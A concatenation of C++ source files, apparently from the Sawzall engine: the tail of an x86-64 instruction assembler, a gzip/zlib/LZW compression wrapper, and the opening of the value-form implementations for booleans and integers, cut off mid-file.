assert(b1 == 0x80); // support immediate group 1 only assert(size > 1 || IsByteReg(reg)); int size_bit = EmitPrefixes(AM_NONE, reg, size); if (size_bit == 0) b1 += 0; // r8, imm8 else if (IsByteRange(val)) b1 += 3; // r16/32, imm8 else b1 += 1; // r16/32, imm16/32 if (reg == AM_EAX && b1 != 0x83) { EmitByte(b1 - 0x80 + 0x04 + b2); EmitImmVal(val, size); } else { Emit2Bytes(b1, b2 + mod_rm[reg]); if (b1 == 0x83) EmitByte(val); else EmitImmVal(val, size); } } void Assembler::OpImm(int b1, int b2, const Operand* n, int32 val) { assert(b1 == 0x80); // support immediate group 1 only int size_bit = EmitPrefixes(AM_NONE, n->am, n->size); if (size_bit == 0) b1 += 0; // r/m8, imm8 else if (IsByteRange(val)) b1 += 3; // r/m16/32, imm8 else b1 += 1; // r/m16/32, imm16/32 if (n->am == AM_EAX && b1 != 0x83) { EmitByte(b1 - 0x80 + 0x04 + b2); EmitImmVal(val, n->size); } else { EmitByte(b1); EmitEA(b2, n); if (b1 == 0x83) EmitByte(val); else EmitImmVal(val, n->size); } } void Assembler::SubImmRegSetCC(AddrMod dst_reg, int32 val, int size) { assert(IsIntReg(dst_reg)); if (val == 0) OpSizeRegReg(TEST_rm_r, dst_reg, dst_reg, size); else OpImmReg(SUB_rm_i_, _SUB_rm_i, dst_reg, val, size); } void Assembler::Exg(AddrMod reg1, AddrMod reg2) { assert(IsIntReg(reg1) && IsIntReg(reg2)); if (reg1 == AM_EAX) { EmitPrefixes(AM_NONE, reg2, sizeof(intptr_t)); EmitByte(XCHG_RAX_r64 + reg_encoding[reg2]); } else if (reg2 == AM_EAX) { EmitPrefixes(AM_NONE, reg1, sizeof(intptr_t)); EmitByte(XCHG_RAX_r64 + reg_encoding[reg1]); } else { OpRegReg(XCHG_r_rm, reg1, reg2); } } void Assembler::CmpRegEA(AddrMod reg, const Operand* r) { assert(IsIntReg(reg)); if (r->am == AM_IMM) { assert(r->size > 1 || IsByteReg(reg)); if (kEmit64 && !IsDWordRange(r->value)) { Load(AM_R11, r); OpSizeRegReg(CMP_r_rm, reg, AM_R11, r->size); return; } int size_bit = EmitPrefixes(AM_NONE, reg, r->size); if (reg == AM_EAX) EmitByte(CMP_A_i + size_bit); else Emit2Bytes(CMP_rm_i_ + size_bit, _CMP_rm_i + mod_rm[reg]); EmitImmVal(r->value, r->size); } else { OpSizeRegEA(CMP_r_rm, reg, r); } } void Assembler::TestReg(const Operand* n, AddrMod reg) { assert(IsIntReg(reg)); assert(n->size > 1 || IsByteReg(reg)); int size_bit = EmitPrefixes(reg, n->am, n->size); EmitByte(TEST_rm_r + size_bit); EmitEA(reg3_encoding[reg], n); } void Assembler::TestImm(const Operand* n, int32 val) { int size_bit = EmitPrefixes(AM_NONE, n->am, n->size); if (n->am == AM_EAX) { EmitByte(TEST_A_i + size_bit); } else { EmitByte(TEST_rm_i_ + size_bit); EmitEA(_TEST_rm_i, n); } EmitImmVal(val, n->size); } void Assembler::ShiftRegLeft(AddrMod reg, int power) { assert(IsIntReg(reg)); if (power == 0) return; if (power == 1) { OpRegReg(ADD_r_rm, reg, reg); } else { int size_bit = EmitPrefixes(AM_NONE, reg, sizeof(intptr_t)); Emit3Bytes(SHL_rm_i8_ + size_bit, _SHL_rm_i8 + mod_rm[reg], power); } } void Assembler::ShiftRegRight(AddrMod reg, int power, int size, bool signed_flag) { assert(IsIntReg(reg)); assert(size > 1 || IsByteReg(reg)); int8 b1 = EmitPrefixes(AM_NONE, reg, size); int8 b2 = _SHR_rm + mod_rm[reg]; if (signed_flag) b2 += _SAR_rm - _SHR_rm; if (power == 1) Emit2Bytes(b1 + SAR_rm_, b2); // SAR_rm_ == SHR_rm_ else Emit3Bytes(b1 + SAR_rm_i8_, b2, power); // SAR_rm_i8_ == SHR_rm_i8_ } void Assembler::Load(AddrMod dst_reg, const Operand* s) { assert(IsIntReg(dst_reg)); assert(s->size > 1 || IsByteReg(dst_reg)); if (IsIntReg(s->am)) { // load from reg, move a dword if (dst_reg != s->am) // move to same reg, suppress OpRegReg(MOV_r_rm, dst_reg, s->am); } else if (dst_reg == AM_EAX && s->am == AM_ABS) { int size_bit = EmitPrefixes(AM_NONE, AM_ABS, s->size); EmitByteDWord(MOV_A_m + size_bit, s->offset); if (kEmit64) // MOV_A_m expects 64-bit offset in 64-bit mode, emit higher 32 bits EmitDWord(high32(s->offset)); } else if (s->am == AM_IMM) { if (s->value == 0) { OpRegReg(XOR_r_rm, dst_reg, dst_reg); } else if (s->value == 1) { OpRegReg(XOR_r_rm, dst_reg, dst_reg); IncReg(dst_reg, sizeof(intptr_t)); } else if (s->value == -1) { EmitPrefixes(AM_NONE, dst_reg, s->size); Emit3Bytes(OR_rm_i8_, _OR_rm_i8 + mod_rm[dst_reg], -1); } else { int size_bit = EmitPrefixes(AM_NONE, dst_reg, s->size); if (!kEmit64) { EmitByte(MOV_r_i + (size_bit << 3) + reg_encoding[dst_reg]); EmitImmVal(s->value, s->size); } else { if (IsDWordRange(s->value)) { // MOV_rm64_i32 is more compact than MOV_r64_i64 // i32 is sign extended, not zero extended, Intel documentation is wrong Emit2Bytes(MOV_rm_i_ + size_bit, _MOV_rm_i + mod_rm[dst_reg]); EmitImmVal(s->value, s->size); } else { assert(s->size == 8); EmitByte(MOV_r_i + (size_bit << 3) + reg_encoding[dst_reg]); EmitImmVal(s->value, s->size); // MOV_r64_i64 expects 64-bit immediate value, emit higher 32 bits EmitDWord(high32(s->value)); } } } } else { int size_bit = EmitPrefixes(dst_reg, s->am, s->size); EmitByte(MOV_r_rm + size_bit); EmitEA(reg3_encoding[dst_reg], s); } } void Assembler::LoadEA(AddrMod dst_reg, const Operand* s) { assert(IsIntReg(dst_reg)); // optimize when lea can be replaced by shorter or faster instructions: // AM_ABS is done by mov reg,imm32 // AM_BASED is done by add reg,imm8/imm32 if reg == BaseReg(s->am) // AM_BASED is done by mov reg,reg if offs == 0 if (s->am == AM_ABS) { int size_bit = EmitPrefixes(AM_NONE, dst_reg, sizeof(intptr_t)); EmitByteDWord(MOV_r_i + (size_bit << 3) + reg_encoding[dst_reg], s->offset); if (kEmit64) // MOV_r64_i64 expects 64-bit immediate value, emit higher 32 bits EmitDWord(high32(s->offset)); } else if (IsIndir(s->am)) { MoveRegReg(dst_reg, BaseReg(s->am)); } else if (IsBased(s->am)) { assert(IsDWordRange(s->offset)); int offs = s->offset; if (BaseReg(s->am) == AM_ESP) offs -= esp_offset_; if (dst_reg == BaseReg(s->am)) { AddImmReg(dst_reg, offs); } else if (offs == 0) { MoveRegReg(dst_reg, BaseReg(s->am)); } else { EmitPrefixes(dst_reg, s->am, sizeof(intptr_t)); EmitByte(LEA_r_m); EmitEA(reg3_encoding[dst_reg], s); } } else if (IsIndexed(s->am) && s->scale == 0 && BaseReg(s->am) == dst_reg) { assert(IsDWordRange(s->offset)); EmitPrefixes(AM_NONE, dst_reg, sizeof(intptr_t)); if (dst_reg == AM_EAX) EmitByteDWord(ADD_RAX_i32, s->offset); else Emit2BytesDWord(ADD_rm64_i32_, _ADD_rm64_i32 + mod_rm[dst_reg], s->offset); } else if (IsBasedIndexed(s->am) && s->scale == 0 && BaseReg(s->am) == dst_reg && s->offset == 0) { // replace LEA reg1,[reg1+reg2] by ADD reg1,reg2 OpRegReg(ADD_r_rm, BaseReg(s->am), static_cast<AddrMod>((s->am - AM_BINXD)>>4)); } else { EmitPrefixes(dst_reg, s->am, sizeof(intptr_t)); EmitByte(LEA_r_m); EmitEA(reg3_encoding[dst_reg], s); } } void Assembler::Store(const Operand* d, AddrMod src_reg) { assert(IsIntReg(src_reg)); if (src_reg == d->am) // move to same reg, suppress return; if (src_reg == AM_EAX && d->am == AM_ABS) { int size_bit = EmitPrefixes(AM_NONE, AM_ABS, d->size); EmitByteDWord(MOV_m_A + size_bit, d->offset); if (kEmit64) // MOV_m_A expects 64-bit offset in 64-bit mode, emit higher 32 bits EmitDWord(high32(d->offset)); } else { int size_bit = EmitPrefixes(src_reg, d->am, d->size); EmitByte(MOV_rm_r + size_bit); EmitEA(reg3_encoding[src_reg], d); } } void Assembler::Push(const Operand* n) { if (kEmit64 && n->am == AM_IMM && !IsDWordRange(n->value)) { Load(AM_R11, n); PushReg(AM_R11); return; } // PUSH_r defaults to 64-bit operand size; REX_W not needed: set size to 4 EmitPrefixes(AM_NONE, n->am, 4); if (IsIntReg(n->am)) { EmitByte(PUSH_r + reg_encoding[n->am]); } else if (n->am == AM_IMM) { if (IsByteRange(n->value)) { Emit2Bytes(PUSH_i8, n->value); } else { EmitByteDWord(PUSH_i32, n->value); } } else { EmitByte(PUSH_rm_); EmitEA(_PUSH_rm, n); } esp_offset_ -= sizeof(intptr_t); } void Assembler::PushReg(AddrMod reg) { assert(IsIntReg(reg)); // PUSH_r defaults to 64-bit operand size; REX_W not needed: set size to 4 EmitPrefixes(AM_NONE, reg, 4); EmitByte(PUSH_r + reg_encoding[reg]); esp_offset_ -= sizeof(intptr_t); } void Assembler::PopReg(AddrMod reg) { assert(IsIntReg(reg)); // POP_r defaults to 64-bit operand size; REX_W not needed: set size to 4 EmitPrefixes(AM_NONE, reg, 4); EmitByte(POP_r + reg_encoding[reg]); esp_offset_ += sizeof(intptr_t); } void Assembler::PushRegs(RegSet regs) { assert((regs & ~RS_ANY) == RS_EMPTY); AddrMod reg = AM_LAST_REG; RegSet reg_as_set = RS_LAST_REG; while (regs) { if ((reg_as_set & regs) != RS_EMPTY) { PushReg(reg); regs -= reg_as_set; } reg = static_cast<AddrMod>((implicit_cast<int>(reg)) - 1); reg_as_set >>= 1; } } // Patch the code emitted at offset in the code buffer by PushRegs(pushed) // to only push 'subset' regs instead of 'pushed' regs void Assembler::PatchPushRegs(int offset, RegSet pushed, RegSet subset) { assert((subset & ~pushed) == RS_EMPTY); AddrMod reg = AM_LAST_REG; RegSet reg_as_set = RS_LAST_REG; while (pushed) { if ((reg_as_set & pushed) != RS_EMPTY) { if ((reg_as_set & subset) == RS_EMPTY) { if (reg > 7) { PatchByte(offset, OPNDSIZE); // patch REX prefix PatchByte(offset + 1, NOP); // patch PUSH_r instruction } else { PatchByte(offset, NOP); // patch PUSH_r instruction } } if (reg > 7) offset++; offset++; pushed -= reg_as_set; } reg = static_cast<AddrMod>((implicit_cast<int>(reg)) - 1); reg_as_set >>= 1; } } void Assembler::PopRegs(RegSet regs) { assert((regs & ~RS_ANY) == RS_EMPTY); AddrMod reg = AM_EAX; RegSet reg_as_set = RS_EAX; while (regs) { if ((reg_as_set & regs) != RS_EMPTY) { PopReg(reg); regs -= reg_as_set; } reg = static_cast<AddrMod>((implicit_cast<int>(reg)) + 1); reg_as_set <<= 1; } } void Assembler::FAdd(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); if (n->am == AM_FST) { Emit2Bytes(FADDP_, _FADDP); } else { EmitByte(n->size == sizeof(float) ? FADD_m32_ : FADD_m64_); EmitEA(_FADD_m, n); } } void Assembler::FSub(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); if (n->am == AM_FST) { Emit2Bytes(FSUBP_, _FSUBP); } else { EmitByte(n->size == sizeof(float) ? FSUB_m32_ : FSUB_m64_); EmitEA(_FSUB_m, n); } } void Assembler::FSubR(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); if (n->am == AM_FST) { Emit2Bytes(FSUBRP_, _FSUBRP); } else { EmitByte(n->size == sizeof(float) ? FSUBR_m32_ : FSUBR_m64_); EmitEA(_FSUBR_m, n); } } void Assembler::FMul(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); if (n->am == AM_FST) { Emit2Bytes(FMULP_, _FMULP); } else { EmitByte(n->size == sizeof(float) ? FMUL_m32_ : FMUL_m64_); EmitEA(_FMUL_m, n); } } void Assembler::FDiv(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); if (n->am == AM_FST) { Emit2Bytes(FDIVP_, _FDIVP); } else { EmitByte(n->size == sizeof(float) ? FDIV_m32_ : FDIV_m64_); EmitEA(_FDIV_m, n); } } void Assembler::FDivR(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); if (n->am == AM_FST) { Emit2Bytes(FDIVRP_, _FDIVRP); } else { EmitByte(n->size == sizeof(float) ? FDIVR_m32_ : FDIVR_m64_); EmitEA(_FDIVR_m, n); } } void Assembler::FLoad(const Operand* n) { assert(n->size == sizeof(float) || n->size == sizeof(double)); assert(n->am != AM_FST); assert(!IsIntReg(n->am)); #if 0 // optimize loading of floating point constants 0.0 and 1.0 if (n->am == AM_ABS) { if (n->offset == (sword_t)(&fconst_0) || n->offset == (sword_t)(&dconst_0) ) { Emit2Bytes(FLDZ_, _FLDZ); return; } if (n->offset == (sword_t)(&fconst_1) || n->offset == (sword_t)(&dconst_1)) { Emit2Bytes(FLD1_, _FLD1); return; } } #endif EmitByte(n->size == sizeof(float) ? FLD_m32_ : FLD_m64_); EmitEA(_FLD_m, n); } void Assembler::FStore(const Operand* n, int pop_flag) { assert(n->size == sizeof(float) || n->size == sizeof(double)); assert(n->am != AM_FST); assert(!IsIntReg(n->am)); EmitByte(n->size == sizeof(float) ? FST_m32_ : FST_m64_); // FST_mxx_ == FSTP_mxx_ EmitEA(pop_flag ? _FSTP_m : _FST_m, n); // FWAIT is necessary for floating point exceptions at the exact location // EmitByte(FWAIT); } void Assembler::IncReg(AddrMod reg, int size) { if (size == 4 && !kEmit64) // no INC_r32 in 64-bit mode EmitByte(INC_r32 + reg_encoding[reg]); else OpSizeReg(INC_rm_, _INC_rm, reg, size); } void Assembler::Inc(const Operand* n) { if (IsIntReg(n->am)) IncReg(n->am, n->size); else OpSizeEA(INC_rm_, _INC_rm, n); } void Assembler::DecReg(AddrMod reg, int size) { if (size == 4 && !kEmit64) // no DEC_r32 in 64-bit mode EmitByte(DEC_r32 + reg_encoding[reg]); else OpSizeReg(DEC_rm_, _DEC_rm, reg, size); } void Assembler::Dec(const Operand* n) { if (IsIntReg(n->am)) DecReg(n->am, n->size); else OpSizeEA(DEC_rm_, _DEC_rm, n); } void Assembler::Leave() { EmitByte(LEAVE); } void Assembler::Ret() { EmitByte(RET); } void Assembler::Int3() { EmitByte(INT_3); } void Assembler::AddRegEA(AddrMod dst_reg, const Operand* n) { if (n->am == AM_IMM) { if (kEmit64 && !IsDWordRange(n->value)) { Load(AM_R11, n); OpSizeRegReg(ADD_r_rm, dst_reg, AM_R11, n->size); } else { OpImmReg(ADD_rm_i_, _ADD_rm_i, dst_reg, n->value, n->size); } } else { OpSizeRegEA(ADD_r_rm, dst_reg, n); } } void Assembler::SubRegEA(AddrMod dst_reg, const Operand* n) { if (n->am == AM_IMM) { if (kEmit64 && !IsDWordRange(n->value)) { Load(AM_R11, n); OpSizeRegReg(SUB_r_rm, dst_reg, AM_R11, n->size); } else { OpImmReg(SUB_rm_i_, _SUB_rm_i, dst_reg, n->value, n->size); } } else { OpSizeRegEA(SUB_r_rm, dst_reg, n); } } void Assembler::AndRegEA(AddrMod dst_reg, const Operand* n) { if (n->am == AM_IMM) { if (kEmit64 && !IsDWordRange(n->value)) { Load(AM_R11, n); OpSizeRegReg(AND_r_rm, dst_reg, AM_R11, n->size); } else { OpImmReg(AND_rm_i_, _AND_rm_i, dst_reg, n->value, n->size); } } else { OpSizeRegEA(AND_r_rm, dst_reg, n); } } void Assembler::OrRegEA(AddrMod dst_reg, const Operand* n) { if (n->am == AM_IMM) { if (kEmit64 && !IsDWordRange(n->value)) { Load(AM_R11, n); OpSizeRegReg(OR_r_rm, dst_reg, AM_R11, n->size); } else { OpImmReg(OR_rm_i_, _OR_rm_i, dst_reg, n->value, n->size); } } else { OpSizeRegEA(OR_r_rm, dst_reg, n); } } void Assembler::JmpIndir(const Operand* n) { // JMP_rm_ defaults to 64-bit operand size; REX_W not needed: set size to 4 EmitPrefixes(AM_NONE, n->am, 4); EmitByte(JMP_rm_); EmitEA(_JMP_rm, n); } void Assembler::CallIndir(const Operand* n) { // CALL_rm_ defaults to 64-bit operand size; REX_W not needed: set size to 4 EmitPrefixes(AM_NONE, n->am, 4); EmitByte(CALL_rm_); EmitEA(_CALL_rm, n); } // returns offset of rel8 in code buffer int Assembler::JmpRel8(int8 rel8) { if (!emit_ok()) return kDeadCodeOffset; // dead code, nothing to patch EmitByte(JMP_rel8); int offset = emit_offset(); EmitByte(rel8); return offset; } // returns offset of rel32 in code buffer int Assembler::JmpRel32(int32 rel32) { if (!emit_ok()) return kDeadCodeOffset; // dead code, nothing to patch EmitByte(JMP_rel32); int offset = emit_offset(); EmitDWord(rel32); return offset; } // returns offset of rel8 in code buffer int Assembler::JccRel8(CondCode cc, int8 rel8) { if (!emit_ok()) return kDeadCodeOffset; // dead code, nothing to patch EmitByte(Jcc_rel8 + cc); int offset = emit_offset(); EmitByte(rel8); return offset; } // returns offset of rel32 in code buffer int Assembler::JccRel32(CondCode cc, int32 rel32) { if (!emit_ok()) return kDeadCodeOffset; // dead code, nothing to patch Emit2Bytes(Jcc_rel32_, _Jcc_rel32 + cc); int offset = emit_offset(); EmitDWord(rel32); return offset; } int Assembler::CallRel32(int32 rel32) { if (!emit_ok()) return kDeadCodeOffset; // dead code, nothing to patch EmitByte(CALL_rel32); int offset = emit_offset(); EmitDWord(rel32); return offset; } void Assembler::PatchRel8(int offset, int8 rel8) { if (offset == kDeadCodeOffset) return; // do not patch dead code assert(implicit_cast<unsigned>(offset + sizeof(int8) + rel8) <= emit_offset()); PatchByte(offset, rel8); } void Assembler::PatchRel32(int offset, int32 rel32) { if (offset == kDeadCodeOffset) return; // do not patch dead code assert(implicit_cast<unsigned>(offset + sizeof(int32) + rel32) <= emit_offset()); PatchDWord(offset, rel32); } int Assembler::AddImm8Esp(int imm8) { assert(IsByteRange(imm8)); esp_offset_ += imm8; EmitPrefixes(AM_NONE, AM_ESP, sizeof(intptr_t)); Emit3Bytes(ADD_rm64_i8_, _ADD_rm64_i8 + mod_rm[AM_ESP], imm8); return emit_offset() - sizeof(int8); } void Assembler::PatchImm8(int offset, int imm8) { assert(IsByteRange(imm8)); PatchByte(offset, imm8); } void Assembler::PatchByte(unsigned offset, int b) { if (offset == kDeadCodeOffset) return; // do not patch dead code assert(offset <= emit_offset() - sizeof(int8)); Instr* emit_pos = code_buffer_ + offset; Code::int8_at(emit_pos) = implicit_cast<int8>(b); } void Assembler::PatchDWord(unsigned offset, int d) { if (offset == kDeadCodeOffset) return; // do not patch dead code assert(offset <= emit_offset() - sizeof(int32)); Instr* emit_pos = code_buffer_ + offset; Code::int32_at(emit_pos) = d; } } // namespace sawzall <file_sep>// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ #include <algorithm> #include <string> #include "zlib.h" #include "public/porting.h" #include "utilities/strutils.h" #include "utilities/gzipwrapper.h" #include "utilities/lzw.h" const int kBufferSize = 4092; // magic numbers namespace GZipParams { const char magic[] = { 0x1f, 0x8b }; const int HEADER_SIZE = 10; const int FOOTER_SIZE = 8; const int MAGIC_SIZE = 2; // flags const int ASCII_FLAG = 0x01; // bit 0 set: file probably ascii text const int HEAD_CRC = 0x02; // bit 1 set: header CRC present const int EXTRA_FIELD = 0x04; // bit 2 set: extra field present const int ORIG_NAME = 0x08; // bit 3 set: original file name present const int COMMENT = 0x10; // bit 4 set: file comment present const int RESERVED = 0xE0; // bits 5..7: reserved const int kCompressedBufferSize = 64 * 1024; const int kPlaintextBufferSize = 2 * kCompressedBufferSize; } // Parameters related to zlib stream format. See RFC 1950 for details. namespace ZlibParams { const int HEADER_SIZE = 2; } namespace CompressParams { // compress magic header const char magic[] = { 0x1f, 0x9d }; const int HEADER_SIZE = 3; const int MAGIC_SIZE = 2; const int MASK_CODELEN = 0x1f; // # compression bits (ie, length of codes) const int MASK_EXTENDED = 0x20; // unused, could mean 4th hdr byte is present const int MASK_RESERVED = 0x40; // unused const int MASK_BLOCK = 0x80; // block compression used const int kMaxMaxBits = 16; } // ========== Decompression ========== static bool DoGZipUncompress(const unsigned char* source, int source_len, string* dest); static bool DoZlibUncompress(const unsigned char* source, int source_len, string* dest); static bool DoLZWUncompress(const unsigned char* source, int source_len, string* dest); static bool DoGZipOrZlibUncompress(const unsigned char* source, int source_len, string* dest, bool zlib); bool GunzipString(const unsigned char* source, int source_len, string* dest) { // check for gzip archive if (source_len >= GZipParams::MAGIC_SIZE && memcmp(source, GZipParams::magic, GZipParams::MAGIC_SIZE) == 0) return DoGZipUncompress(source, source_len, dest); // not gzip, LZW? if (source_len >= CompressParams::MAGIC_SIZE && memcmp(source, CompressParams::magic, CompressParams::MAGIC_SIZE) == 0) return DoLZWUncompress(source, source_len, dest); // zlib format if (source_len >= ZlibParams::HEADER_SIZE) return DoZlibUncompress(source, source_len, dest); // unrecognised archive return false; } static bool DoGZipUncompress(const unsigned char* source, int source_len, string* dest) { // Process and skip the header, then use common code. unsigned const char* flags = source; source += GZipParams::HEADER_SIZE; source_len -= GZipParams::HEADER_SIZE; if (flags[2] != Z_DEFLATED) return false; if ((flags[3] & GZipParams::EXTRA_FIELD) != 0) { // skip the extra field if (source_len < 2) return false; source += 2; source_len -= 2; } if ((flags[3] & GZipParams::ORIG_NAME) != 0) { // skip the original file name const void* p = memchr(source, '\0', source_len); if (p == NULL) return false; source_len -= ((unsigned char*)p - source + 1); source = (unsigned char*)p + 1; } if ((flags[3] & GZipParams::COMMENT) != 0) { // skip the comment const void* p = memchr(source, '\0', source_len); if (p == NULL) return false; source_len -= ((unsigned char*)p - source + 1); source = (unsigned char*)p + 1; } if ((flags[3] & GZipParams::HEAD_CRC) != 0) { // skip the header CRC if (source_len < 2) return false; source += 2; source_len -= 2; } return DoGZipOrZlibUncompress(source, source_len, dest, false); } static bool DoZlibUncompress(const unsigned char* source, int source_len, string* dest) { // Process the header but do not skip it, then use common code. const unsigned char* header = source; if ((header[0] & 0x0F) != Z_DEFLATED) // check compression method return false; if ((((header[0] & 0xF0) >> 4) + 8) > MAX_WBITS) // check window size return false; if (((header[0] << 8) + header[1]) % 31) // test check bits return false; return DoGZipOrZlibUncompress(source, source_len, dest, true); } static bool DoLZWUncompress(const unsigned char* source, int source_len, string* dest) { // Process and skip the header. const unsigned char* flags = source; source += CompressParams::HEADER_SIZE; source_len -= CompressParams::HEADER_SIZE; int32 maxbits = flags[2] & CompressParams::MASK_CODELEN; bool block_compress = flags[2] & CompressParams::MASK_BLOCK; if ((flags[2] & CompressParams::MASK_EXTENDED) != 0) // unsupported, we can probably safely ignore the // reserved flag, but if extended flag is present, // there may be an extra header byte which will // desynchronise our stream. return false; if (maxbits > CompressParams::kMaxMaxBits) return false; // just a header? valid I guess. if (source_len == 0) return true; // Uncompress. LZWInflate zs(maxbits, block_compress); char buffer[kBufferSize]; while (source_len > 0) { zs.Input(source, source_len); int out_len = zs.Inflate(buffer, sizeof(buffer)); int in_len = source_len - zs.Tell(); if (out_len < 0) return false; source += in_len; source_len -= in_len; dest->append(buffer, out_len); } return !dest->empty(); } static bool DoGZipOrZlibUncompress(const unsigned char* source, int source_len, string* dest, bool zlib) { char buffer[kBufferSize]; uint32 current_crc = 0; // gzip format is indicated by negative window bits. int window_bits = MAX_WBITS; if (!zlib) window_bits = -window_bits; z_stream zstream; memset(&zstream, 0, sizeof(zstream)); if (inflateInit2(&zstream, window_bits) != Z_OK) return false; zstream.next_in = (Bytef*) source; zstream.avail_in = source_len; while (true) { if (zstream.avail_in == 0) return false; zstream.next_out = (Bytef*)buffer; zstream.avail_out = sizeof(buffer); int status = inflate(&zstream, Z_NO_FLUSH); if (status != Z_OK && status != Z_STREAM_END) return false; int out_len = (char*)zstream.next_out - buffer; dest->append(buffer, out_len); current_crc = crc32(current_crc, (Bytef*)buffer, out_len); if (status == Z_STREAM_END) break; } // Skip footer processing if input is zlib format. if (zlib) return true; if (zstream.avail_in < GZipParams::FOOTER_SIZE) return false; const Bytef *p = zstream.next_in; uint32 crc = p[0] | (p[1] << 8) | (p[2] << 16) | (uint32(p[3]) << 24); uint32 len = p[4] | (p[5] << 8) | (p[6] << 16) | (uint32(p[7]) << 24); // Length is stored in the footer as actual uncompressed length mod 2^32 if (current_crc != crc || len != (zstream.total_out & 0xffffffffULL) || inflateEnd(&zstream) != Z_OK) return false; return true; } // ========= Compression ========== bool GzipString(const unsigned char* source, int source_len, string* dest, int compressionLevel) { // Write header. char header[GZipParams::HEADER_SIZE]; memset(header, 0, sizeof header); header[0] = GZipParams::magic[0]; header[1] = GZipParams::magic[1]; header[2] = Z_DEFLATED; dest->append(header, sizeof(header)); // Initialize compression stream. z_stream zstream; memset(&zstream, 0, sizeof(zstream)); // Pass -MAX_WBITS to indicate no zlib header if (deflateInit2(&zstream, compressionLevel, Z_DEFLATED, -MAX_WBITS, 9, Z_DEFAULT_STRATEGY) != Z_OK) return false; // Compress data. zstream.next_in = (Bytef*) source; zstream.avail_in = source_len; uint32 crc = crc32(0, reinterpret_cast<const Bytef*>(source), source_len); char buffer[kBufferSize]; while (true) { zstream.next_out = (Bytef*) buffer; zstream.avail_out = sizeof(buffer); int status = deflate(&zstream, Z_FINISH); if (status != Z_OK && status != Z_STREAM_END) return false; int length = zstream.next_out - reinterpret_cast<Bytef*>(buffer); dest->append(buffer, length); if (status == Z_STREAM_END) break; } // Clean up compression stream. if (deflateEnd(&zstream) != Z_OK) return false; // Write footer. char footer[GZipParams::FOOTER_SIZE]; footer[0] = crc & 0xff; footer[1] = (crc >> 8) & 0xff; footer[2] = (crc >> 16) & 0xff; footer[3] = (crc >> 24) & 0xff; int len = source_len; footer[4] = len & 0xff; footer[5] = (len >> 8) & 0xff; footer[6] = (len >> 16) & 0xff; footer[7] = (len >> 24) & 0xff; dest->append(footer, sizeof(footer)); return true; } <file_sep>// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ #include "engine/globals.h" #include "public/logging.h" #include "public/hashutils.h" #include "utilities/strutils.h" #include "utilities/timeutils.h" #include "engine/memory.h" #include "engine/utils.h" #include "engine/opcode.h" #include "engine/map.h" #include "engine/scope.h" #include "engine/type.h" #include "engine/node.h" #include "engine/symboltable.h" #include "engine/taggedptrs.h" #include "engine/form.h" #include "engine/val.h" #include "engine/factory.h" #include "engine/proc.h" #include "engine/code.h" namespace sawzall { // ---------------------------------------------------------------------------- // Cmp helper. template <class T> static Val* cmp(T a, T b) { if (a < b) return TaggedInts::MakeVal(-1); else if (a > b) return TaggedInts::MakeVal(1); else return TaggedInts::MakeVal(0); } // ---------------------------------------------------------------------------- // Fingerprint helper const szl_fingerprint kFingerSeed() { return ::Fingerprint(0); } // ---------------------------------------------------------------------------- // Implementation of Form (default versions) bool Form::IsUnique(const Val* v) const { return v->ref() == 1; } void Form::Delete(Proc* proc, Val* v) { FREE_COUNTED(proc, v); } // ---------------------------------------------------------------------------- // Implementation of BoolForm BoolVal* BoolForm::NewVal(Proc* proc, bool val) { BoolVal* v = ALLOC_COUNTED(proc, BoolVal, sizeof(BoolVal)); v->form_ = this; v->ref_ = 1; v->val_ = val; return v; } uint64 BoolForm::basic64(Val* v) const { return v->as_bool()->val() != 0; } Val* BoolForm::NewValBasic64(Proc* proc, Type* type, uint64 bits) { return NewVal(proc, bits != 0); } bool BoolForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_bool()); return v2->is_bool() && v1->as_bool()->val() == v2->as_bool()->val(); } Val* BoolForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_bool()); assert(v2->is_bool()); return cmp(v1->as_bool()->val(), v2->as_bool()->val()); } int BoolForm::Format(Proc* proc, Fmt::State* f, Val* v) const { return F.fmtprint(f, "%s", v->as_bool()->val() ? "true" : "false"); } Val* BoolForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return v; } uint32 BoolForm::Hash(Val* v) const { int64 b = v->as_bool()->val(); return Hash32NumWithSeed(b, kHashSeed32); } szl_fingerprint BoolForm::Fingerprint(Proc* proc, Val* v) const { return ::Fingerprint(v->as_bool()->basic64()); } // ---------------------------------------------------------------------------- // Implementation of IntForm bool IntForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_int()); return v2->is_int() && v1->as_int()->val() == v2->as_int()->val(); } Val* IntForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_int()); assert(v2->is_int()); return cmp(v1->as_int()->val(), v2->as_int()->val()); } uint64 IntForm::basic64(Val* v) const { return v->as_int()->val(); } Val* IntForm::NewValBasic64(Proc* proc, Type* type, uint64 bits) { return NewVal(proc, bits); } int IntForm::Format(Proc* proc, Fmt::State* f, Val* v) const { return F.fmtprint(f, "%lld", v->as_int()->val()); } uint32 IntForm::Hash(Val* v) const { uint64 i = v->as_int()->val(); return Hash32NumWithSeed(i, Hash32NumWithSeed((i>>32), kHashSeed32)); } Val* IntForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return v; } szl_fingerprint IntForm::Fingerprint(Proc* proc, Val* v) const { return ::Fingerprint(v->as_int()->basic64()); } IntVal* 